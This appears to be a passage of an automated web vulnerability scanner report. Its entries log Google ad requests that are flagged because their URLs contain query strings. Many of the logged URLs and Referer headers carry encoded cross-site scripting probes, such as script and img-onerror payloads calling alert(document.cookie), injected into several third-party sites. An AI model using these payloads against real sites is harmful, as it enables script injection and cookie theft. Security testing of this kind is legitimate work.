Request

GET /pagead/ads?client=ca-pub-0081280489252772&format=336x280_as&output=html&h=280&w=336&lmt=1296964060&ad_type=text_image&alt_color=FFFFFF&color_bg=FFFFFF&color_border=FFFFFF&color_link=6DA6E2&color_text=000000&color_url=6DA6E2&flash=10.1.103&url=http%3A%2F%2Fdriverbyte.com%2Fdownload-ga-81845gv-gigabyte-vga-driver_freedownload72968%2522%253E%253Cimg%2520src%253da%2520onerror%253dalert(document.cookie)%253Ea36cb148e37&dt=1296942768949&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296942768997&frm=0&adk=1546415748&ga_vid=1705664041.1296942769&ga_sid=1296942769&ga_hid=735303343&ga_fc=0&ga_wpids=UA-15084858-2&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=1012&ref=http%3A%2F%2Fburp%2Fshow%2F0&fu=0&ifi=1&dtd=121&xpc=vKPPSCn5KS&p=http%3A//driverbyte.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://driverbyte.com/download-ga-81845gv-gigabyte-vga-driver_freedownload72968%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.cookie)%3Ea36cb148e37
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.41. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-7272189955621553&output=html&h=90&slotname=7192921606&w=728&lmt=1297030263&flash=10.1.103&url=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&dt=1297008663772&shv=r20101117&jsv=r20110120&saldr=1&correlator=1297008663817&frm=0&adk=603134447&ga_vid=976049181.1297008664&ga_sid=1297008664&ga_hid=1525450885&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1001&bih=1031&ref=http%3A%2F%2Fburp%2Fshow%2F64&fu=0&ifi=1&dtd=309&xpc=3S8I6jImB8&p=http%3A//www.kledy.co.uk

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-ffffff.png
http://pagead2.googlesyndication.com/pagead/images/i.png
http://pagead2.googlesyndication.com/pagead/js/abg.js
http://pagead2.googlesyndication.com/pagead/js/graphics.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.kledy.co.uk/%253Fb6885%252522%25253E%25253Cscript%25253Ealert(document.cookie)%25253C/script%25253E58b3310da99%253D1%26hl%3Den%26client%3Dca-pub-7272189955621553%26adU%3Dwww.facebook.com%26adT%3DImageAd%26gl%3DUS&usg=AFQjCNH7OIfoO-BrLYlyDWdcmZoqBrAWgQ

Request

GET /pagead/ads?client=ca-pub-7272189955621553&output=html&h=90&slotname=7192921606&w=728&lmt=1297030263&flash=10.1.103&url=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&dt=1297008663772&shv=r20101117&jsv=r20110120&saldr=1&correlator=1297008663817&frm=0&adk=603134447&ga_vid=976049181.1297008664&ga_sid=1297008664&ga_hid=1525450885&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1001&bih=1031&ref=http%3A%2F%2Fburp%2Fshow%2F64&fu=0&ifi=1&dtd=309&xpc=3S8I6jImB8&p=http%3A//www.kledy.co.uk HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.kledy.co.uk/?b6885%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E58b3310da99=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.42. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-1425385000011641&output=html&h=250&slotname=9823486510&w=300&lmt=1297031202&flash=10.1.103&url=http%3A%2F%2Fwww.forex-direkt.de%2F%3Fb35b2--%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eb7a27f6b27d%3D1&dt=1297009601990&shv=r20101117&jsv=r20110120&saldr=1&correlator=1297009602050&frm=0&adk=3672710062&ga_vid=298496801.1297009602&ga_sid=1297009602&ga_hid=1406453243&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=1031&eid=30143103&ref=http%3A%2F%2Fburp%2Fshow%2F77&fu=0&ifi=1&dtd=89&xpc=5GCX7sSjlu&p=http%3A//www.forex-direkt.de

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-000000.png
http://pagead2.googlesyndication.com/pagead/sma8.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.forex-direkt.de/%253Fb35b2--%25253E%25253Cscript%25253Ealert(document.cookie)%25253C/script%25253Eb7a27f6b27d%253D1%26hl%3Den%26client%3Dca-pub-1425385000011641%26adU%3DdbFX.com/Forex%26adT%3DForex%2BTrading%2Bwith%2BdbFX%26adU%3Dwww.GAINCapital.com%26adT%3DGAIN%2BCapital%2BGroup%26adU%3Dwww.fxcm.com%26adT%3DFXCM-%2BForex%2BTrading%2BRobot%26adU%3Dwww.GFTforex.com%26adT%3DFree%2BStarter%2BKit%2Bfrom%2BGFT%26gl%3DUS&usg=AFQjCNEprPyYCS5NawhcmHdVYHn4WicEkA

Request

GET /pagead/ads?client=ca-pub-1425385000011641&output=html&h=250&slotname=9823486510&w=300&lmt=1297031202&flash=10.1.103&url=http%3A%2F%2Fwww.forex-direkt.de%2F%3Fb35b2--%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eb7a27f6b27d%3D1&dt=1297009601990&shv=r20101117&jsv=r20110120&saldr=1&correlator=1297009602050&frm=0&adk=3672710062&ga_vid=298496801.1297009602&ga_sid=1297009602&ga_hid=1406453243&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=1031&eid=30143103&ref=http%3A%2F%2Fburp%2Fshow%2F77&fu=0&ifi=1&dtd=89&xpc=5GCX7sSjlu&p=http%3A//www.forex-direkt.de HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.forex-direkt.de/?b35b2--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7a27f6b27d=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.43. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-7272189955621553&output=html&h=600&slotname=9195027970&w=160&lmt=1297030534&flash=10.1.103&url=http%3A%2F%2Fwww.chattino.com%2F&dt=1297008934545&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=9195027970%2C5117000812&correlator=1297008934508&frm=0&adk=3667542464&ga_vid=673818716.1297008935&ga_sid=1297008935&ga_hid=594813066&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3656033325&eid=30143102&ref=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&fu=0&ifi=3&dtd=2&xpc=htqSodxXCj&p=http%3A//www.chattino.com

The response contains the following link to another domain:

http://bidder.mathtag.com/iframe/notify?exch=adx&id=5aW95q2jLzEvUTBGRlUwVktiSE5EVTNVeVFreDBXV0pPU2xCSGIwbERVVUpKL05HUXpOekF5WW1NdE9ETTVaUzB3Tmprd0xUVXpOekF0TTJNeE9XRTVOVFl4TWprMS82NTE2MTg0MDIwMDYxNzQ2OC8xMDk0NDgvMTAxNzcyLzQvbThsREliU1ZlNzdkUGpqWXBkdTFCV2ZWWUhNak1QbjBkWHJfZlllMUxqWS8/SZUyOAKnz3-kUlg_8BUP7NneKq0&price=TU7I_AABIsMK5Xam5q4W_Jlmp2XkvsUpWjee0w&dck=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBgNM5_MhOTcPFBKbtlQf8rbi1Dtzvj_EBhpu-vBGMmoSTEgAQARgBIAA4AVCAx-HEBGDJvrKJkKTQEYIBF2NhLXB1Yi03MjcyMTg5OTU1NjIxNTUzoAHg6pnsA7IBEHd3dy5jaGF0dGluby5jb226AQoxNjB4NjAwX2FzyAEJ2gEYaHR0cDovL3d3dy5jaGF0dGluby5jb20vmAK4DcACBMgC1sGMDqgDAegDvwHoAwj1AwABAMU%26num%3D1%26sig%3DAGiWqtysQ4BFHf9O0uFLFrKcf4GyR-HBAQ%26client%3Dca-pub-7272189955621553%26adurl%3D

Request

GET /pagead/ads?client=ca-pub-7272189955621553&output=html&h=600&slotname=9195027970&w=160&lmt=1297030534&flash=10.1.103&url=http%3A%2F%2Fwww.chattino.com%2F&dt=1297008934545&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=9195027970%2C5117000812&correlator=1297008934508&frm=0&adk=3667542464&ga_vid=673818716.1297008935&ga_sid=1297008935&ga_hid=594813066&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3656033325&eid=30143102&ref=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&fu=0&ifi=3&dtd=2&xpc=htqSodxXCj&p=http%3A//www.chattino.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.chattino.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.44. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-7272189955621553&output=html&h=60&slotname=0592282731&w=468&lmt=1297034108&flash=10.1.103&url=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253Ef6336f06cd4%3D1&dt=1297012508322&shv=r20101117&jsv=r20110120&saldr=1&correlator=1297012508324&frm=0&adk=3543896621&ga_vid=736385690.1297012508&ga_sid=1297012508&ga_hid=2143812880&ga_fc=0&u_tz=-360&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1001&bih=1031&ref=http%3A%2F%2Fburp%2Fshow%2F97&fu=0&ifi=1&dtd=20&xpc=C7PECW226T&p=http%3A//www.peppernews.eu

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-ffffff.png
http://pagead2.googlesyndication.com/pagead/images/i.png
http://pagead2.googlesyndication.com/pagead/js/abg.js
http://pagead2.googlesyndication.com/pagead/js/graphics.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.peppernews.eu/%253Fd7d65%252522%25253E%25253Cscript%25253Ealert(String.fromCharCode(88,83,83))%25253C/script%25253Ef6336f06cd4%253D1%26hl%3Den%26client%3Dca-pub-7272189955621553%26adU%3Dwww.facebook.com%26adT%3DImageAd%26gl%3DUS&usg=AFQjCNE4BqYoQQkAU_KweH8_RTT4do4hFg

Request

GET /pagead/ads?client=ca-pub-7272189955621553&output=html&h=60&slotname=0592282731&w=468&lmt=1297034108&flash=10.1.103&url=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253Ef6336f06cd4%3D1&dt=1297012508322&shv=r20101117&jsv=r20110120&saldr=1&correlator=1297012508324&frm=0&adk=3543896621&ga_vid=736385690.1297012508&ga_sid=1297012508&ga_hid=2143812880&ga_fc=0&u_tz=-360&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1001&bih=1031&ref=http%3A%2F%2Fburp%2Fshow%2F97&fu=0&ifi=1&dtd=20&xpc=C7PECW226T&p=http%3A//www.peppernews.eu HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.peppernews.eu/?d7d65%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3Ef6336f06cd4=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.45. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-7272189955621553&output=html&h=600&slotname=8462304150&w=160&lmt=1297034134&flash=10.1.103&url=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253Ef6336f06cd4%3D1&dt=1297012534328&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=0592282731%2C9367507615&correlator=1297012508324&frm=0&adk=1000119101&ga_vid=736385690.1297012508&ga_sid=1297012508&ga_hid=2143812880&ga_fc=0&u_tz=-360&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=1031&ref=http%3A%2F%2Fburp%2Fshow%2F97&fu=0&ifi=3&dtd=12&xpc=44NBDLQ2r5&p=http%3A//www.peppernews.eu

The response contains the following links to other domains:

http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab
http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-ffffff.png
http://pagead2.googlesyndication.com/pagead/images/i.png
http://pagead2.googlesyndication.com/pagead/imgad?id=CMaf1-r3gpTcWRCgARjYBDIIEekrH6l-atk
http://pagead2.googlesyndication.com/pagead/js/abg.js
http://pagead2.googlesyndication.com/pagead/js/graphics.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.peppernews.eu/%253Fd7d65%252522%25253E%25253Cscript%25253Ealert(String.fromCharCode(88,83,83))%25253C/script%25253Ef6336f06cd4%253D1%26hl%3Den%26client%3Dca-pub-7272189955621553%26adU%3Dwww.openecry.com%26adT%3DImageAd%26gl%3DUS&usg=AFQjCNFsP78m35idrevtG8S5aVi-5zejAA

Request

GET /pagead/ads?client=ca-pub-7272189955621553&output=html&h=600&slotname=8462304150&w=160&lmt=1297034134&flash=10.1.103&url=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253Ef6336f06cd4%3D1&dt=1297012534328&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=0592282731%2C9367507615&correlator=1297012508324&frm=0&adk=1000119101&ga_vid=736385690.1297012508&ga_sid=1297012508&ga_hid=2143812880&ga_fc=0&u_tz=-360&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=1031&ref=http%3A%2F%2Fburp%2Fshow%2F97&fu=0&ifi=3&dtd=12&xpc=44NBDLQ2r5&p=http%3A//www.peppernews.eu HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.peppernews.eu/?d7d65%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3Ef6336f06cd4=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.46. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-0813152173226346&output=html&h=90&slotname=8833934355&w=728&lmt=1296964160&flash=10.1.103&hl=en&url=http%3A%2F%2Fwww.orthougm.com%2F&dt=1296942560276&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296942560294&frm=0&adk=2006559315&ga_vid=429166960.1296942499&ga_sid=1296942499&ga_hid=1263121855&ga_fc=1&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&ref=http%3A%2F%2Fwww.orthougm.com%2Fnslookup.html&fu=0&ifi=1&dtd=35&xpc=PXYsvPdzTy&p=http%3A//www.orthougm.com

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-000000.png
http://pagead2.googlesyndication.com/pagead/sma8.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.orthougm.com/%26hl%3Den%26client%3Dca-pub-0813152173226346%26adU%3Dwww.Ford.com%26adT%3DOfficial%2BFord%25C2%25AE%2BSite%26adU%3Dwww.honda.com%26adT%3DHonda%2BCivic%2BGX%2BTax%2BCredit%26adU%3DAmputeeSupplies.com/Buy%252BDirect%26adT%3DProsthetic%2BOnline%2BStore%26gl%3DUS&usg=AFQjCNGP-EXNa_hK-qnaYl_FpkWZosIxrA

Request

GET /pagead/ads?client=ca-pub-0813152173226346&output=html&h=90&slotname=8833934355&w=728&lmt=1296964160&flash=10.1.103&hl=en&url=http%3A%2F%2Fwww.orthougm.com%2F&dt=1296942560276&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296942560294&frm=0&adk=2006559315&ga_vid=429166960.1296942499&ga_sid=1296942499&ga_hid=1263121855&ga_fc=1&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&ref=http%3A%2F%2Fwww.orthougm.com%2Fnslookup.html&fu=0&ifi=1&dtd=35&xpc=PXYsvPdzTy&p=http%3A//www.orthougm.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.orthougm.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|2818894/957634/15009,2409535/850532/15008,189445/526157/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.47. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6422417422167576&output=html&h=280&slotname=3486164594&w=336&lmt=1297020079&flash=10.1.103&url=http%3A%2F%2Fwww.baselinemag.com%2Fc%2Fa%2FIT-Management%2FMacys-Ramps-Up-Online-Operations-637464%2F&dt=1296998582101&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296998582104&frm=0&adk=2059201820&ga_vid=1274416164.1296998524&ga_sid=1296998524&ga_hid=410483432&ga_fc=1&ga_wpids=UA-2464436-2&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=1015&eid=30143103&ref=http%3A%2F%2Fburp%2Fshow%2F45&fu=0&ifi=1&dtd=8&xpc=P9sCStcP5Y&p=http%3A//www.baselinemag.com

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-000000.png
http://pagead2.googlesyndication.com/pagead/sma8.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/%26hl%3Den%26client%3Dca-pub-6422417422167576%26adU%3Dwww.trivalentgroup.com%26adT%3DIT%2BSolution%2Bprovider%26adU%3DStanford.edu%26adT%3DStanford%2BProject%2BMgmt%26adU%3Dwww.UTSCorp.com%26adT%3DImplement%2BSalesforce.com%26adU%3Dwww.obs-innovation.com%26adT%3DRecords%2BManagement%2BReport%26gl%3DUS&usg=AFQjCNG3Wn_3l5tPAl1nEiLm67QzB1vWjA

Request

GET /pagead/ads?client=ca-pub-6422417422167576&output=html&h=280&slotname=3486164594&w=336&lmt=1297020079&flash=10.1.103&url=http%3A%2F%2Fwww.baselinemag.com%2Fc%2Fa%2FIT-Management%2FMacys-Ramps-Up-Online-Operations-637464%2F&dt=1296998582101&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296998582104&frm=0&adk=2059201820&ga_vid=1274416164.1296998524&ga_sid=1296998524&ga_hid=410483432&ga_fc=1&ga_wpids=UA-2464436-2&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=1015&eid=30143103&ref=http%3A%2F%2Fburp%2Fshow%2F45&fu=0&ifi=1&dtd=8&xpc=P9sCStcP5Y&p=http%3A//www.baselinemag.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.48. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-7272189955621553&output=html&h=90&slotname=7192921606&w=728&lmt=1297030549&flash=10.1.103&url=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1&dt=1297008949525&shv=r20101117&jsv=r20110120&saldr=1&correlator=1297008949566&frm=0&adk=603134447&ga_vid=323549207.1297008950&ga_sid=1297008950&ga_hid=1569237615&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1001&bih=1031&eid=30143103&ref=http%3A%2F%2Fburp%2Fshow%2F67&fu=0&ifi=1&dtd=159&xpc=A9LwpWNWXs&p=http%3A//www.kledy.it

The response contains the following links to other domains:

http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab
http://pagead2.googlesyndication.com/pagead/abglogo/abg-it-100c-ffffff.png
http://pagead2.googlesyndication.com/pagead/images/i.png
http://pagead2.googlesyndication.com/pagead/imgad?id=CPrrgc_Vlpiv9wEQ2AUYWjIIm0K9QkhszS4
http://pagead2.googlesyndication.com/pagead/js/abg.js
http://pagead2.googlesyndication.com/pagead/js/graphics.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.kledy.it/%253F44921%252522%25253E%25253Cscript%25253Ealert(String.fromCharCode(88,83,83))%25253C/script%25253E107b665304c%253D1%26hl%3Dit%26client%3Dca-pub-7272189955621553%26adU%3Dwww.imvu.com%26adT%3DImageAd%26gl%3DUS&usg=AFQjCNElIwJBP11Uhf9cljk5a_Hr3w_Zhw

Request

Response

20.49. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-7272189955621553&output=html&h=90&slotname=7192921606&w=728&lmt=1297030590&flash=10.1.103&url=http%3A%2F%2Fwww.kledy.us%2F%3F88099%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31a8b6ec06f%3D1&dt=1297008990947&shv=r20101117&jsv=r20110120&saldr=1&correlator=1297008990992&frm=0&adk=603134447&ga_vid=1462495193.1297008991&ga_sid=1297008991&ga_hid=337475489&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1001&bih=1031&eid=30143102&ref=http%3A%2F%2Fburp%2Fshow%2F68&fu=0&ifi=1&dtd=78&xpc=EQdUZ7AWO6&p=http%3A//www.kledy.us

